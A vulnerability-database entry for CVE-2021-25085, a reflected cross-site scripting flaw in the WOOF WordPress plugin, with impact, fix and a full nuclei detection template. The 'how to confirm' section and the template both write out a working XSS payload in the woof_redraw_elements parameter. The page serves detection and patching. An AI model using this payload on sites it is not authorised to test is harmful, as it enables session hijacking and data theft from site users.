HexBrain

Browse / CVEs / CVE-2021-25085

CVE-2021-25085· pluginus / woocommerce products filter· CWE-79

WOOF WordPress plugin - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it

The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>
Positive when: contains "\"additional_fields\":[\"<img src=x onerror=alert(document.dom…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25085 -u <target>

The full check
id: CVE-2021-25085

info:
  name: WOOF WordPress plugin - Cross-Site Scripting
  author: Maximus Decimus
  severity: medium
  description: |
    The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
    - https://plugins.trac.wordpress.org/changeset/2648751
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25085
    cwe-id: CWE-79
    epss-score: 0.01651
    epss-percentile: 0.76733
    cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pluginus
    product: woocommerce_products_filter
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wp,xss,wpscan,pluginus,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from